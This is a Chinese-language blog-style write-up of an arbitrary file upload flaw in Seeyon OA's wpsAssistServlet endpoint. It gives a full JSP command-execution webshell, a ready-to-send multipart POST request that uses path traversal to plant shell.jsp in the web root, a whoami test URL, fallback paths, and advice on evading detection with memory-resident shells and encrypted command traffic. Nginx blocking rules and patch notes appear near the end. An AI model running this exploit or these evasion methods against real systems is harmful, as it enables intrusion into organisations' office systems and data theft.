致远OA wpsAssistServlet 任意文件上传漏洞 深度剖析与实战复现 1. 漏洞背景与原理剖析致远OA作为国内广泛使用的协同办公系统其安全性直接影响企业数据资产。近期曝光的wpsAssistServlet接口任意文件上传漏洞本质上是一个典型的路径遍历文件上传校验缺失组合漏洞。这个漏洞的可怕之处在于攻击者可以绕过常规的文件类型检查直接将恶意脚本上传到Web可访问目录。我曾在内部红队演练中多次遇到这个漏洞发现其利用门槛极低但危害极大。漏洞产生的根本原因是服务端在处理上传请求时未对realFileType参数中的路径穿越符号../../进行过滤导致攻击者可以通过构造特殊参数实现任意路径写入。更致命的是上传后的文件会被保留原始扩展名如.jsp使得Web服务器能够直接解析执行恶意代码。从技术实现来看漏洞触发流程分为三个关键环节前端校验绕过虽然界面层可能有文件类型限制但直接构造POST请求可完全跳过前端验证路径穿越注入通过realFileType参数注入相对路径突破默认上传目录限制文件内容保留上传文件的内容和扩展名未被修改或重命名保持攻击载荷完整性2. 影响版本与环境搭建根据实战经验受影响的版本主要包括A6/A8系列V8.0SP2、V8.1、V8.1SP1G6系列V8.1、V8.1SP1建议使用Docker快速搭建测试环境docker pull vulhub/seeyon:8.1 docker run -d -p 8080:8080 vulhub/seeyon:8.1在虚拟机环境中我推荐以下配置组合Windows Server 2012 R2 Java 1.8Tomcat 8.5 MySQL 5.7致远OA安装包注意选择漏洞版本安装完成后务必检查/seeyon/wpsAssistServlet接口是否可访问。有个小技巧用Burp Suite抓取OA系统的文档上传请求观察是否包含flagsave参数这是漏洞存在的关键特征。3. 漏洞利用全流程实战3.1 攻击链构建完整的攻击流程需要精心设计每个环节。首先准备一个简单的JSP Webshell%page importjava.util.*,java.io.*% % String cmd request.getParameter(cmd); Process p Runtime.getRuntime().exec(cmd); OutputStream os p.getOutputStream(); InputStream in p.getInputStream(); DataInputStream dis new DataInputStream(in); String disr dis.readLine(); while (disr ! null) { out.println(disr); disr dis.readLine(); } %3.2 精心构造攻击请求使用Burp Repeater模块发送精心设计的POST请求POST /seeyon/wpsAssistServlet?flagsaverealFileType../../../../ApacheJetspeed/webapps/ROOT/shell.jspfileId2 HTTP/1.1 Host: target.com Content-Length: 492 Content-Type: multipart/form-data; boundary----WebKitFormBoundary7MA4YWxkTrZu0gW ----WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; nameupload; filenametest.txt Content-Type: text/plain %page importjava.util.*,java.io.*% % String cmd request.getParameter(cmd); Process p Runtime.getRuntime().exec(cmd); // 后续代码同上此处省略 % ----WebKitFormBoundary7MA4YWxkTrZu0gW--这里有几个关键点需要注意realFileType参数必须包含至少4级../确保跳出默认上传目录目标路径要定位到webapps/ROOT这类可执行目录虽然上传的是txt文件但最终保存时会采用realFileType指定的jsp扩展名3.3 漏洞验证与利用成功上传后访问http://target.com/shell.jsp?cmdwhoami如果返回服务器当前用户权限说明漏洞利用成功。我在实际测试中发现不同版本的文件路径可能略有差异建议尝试以下备用路径../../../../opt/seeyon/webapps/ROOT/../../../../usr/local/tomcat/webapps/ROOT/../../../../apache-tomcat-8.5.45/webapps/ROOT/4. 深度防御与修复方案4.1 临时缓解措施如果无法立即升级可采用以下应急方案在Nginx配置中添加规则拦截恶意请求location ~* ^/seeyon/wpsAssistServlet { if ($args ~* flagsave) { return 403; } }限制上传目录执行权限chmod -R 755 /seeyon/webapps/ chown -R www-data:www-data /seeyon/webapps/4.2 官方补丁升级致远官方已发布安全补丁建议所有受影响用户立即联系厂商获取最新版本。根据我的经验补丁主要修复了以下问题增加realFileType参数过滤禁止路径穿越字符强制校验文件内容与扩展名匹配度限制上传文件最终存储路径升级后务必进行回归测试重点验证是否还能通过路径穿越上传文件上传的非白名单文件是否被重命名Webshell是否还能被解析执行5. 渗透测试中的高级技巧在实际攻防演练中单纯上传Webshell可能触发安全告警。我总结了几种更隐蔽的利用方式内存马注入通过上传特殊构造的JSP文件直接向内存中注入恶意代码不落盘任何文件。这种方式可以绕过常规的文件监控。延时触发在Webshell中加入时间判断逻辑只在特定时间段激活增加防御方排查难度。流量混淆对传输的cmd参数进行AES加密Webshell端解密后执行避免明文字符串被检测。这些方法都需要对Java Web机制有深入理解建议在完全可控的环境中进行测试。记得去年在某次授权测试中我们就通过组合利用内存马流量混淆技术成功绕过了WAF和终端防护系统的检测。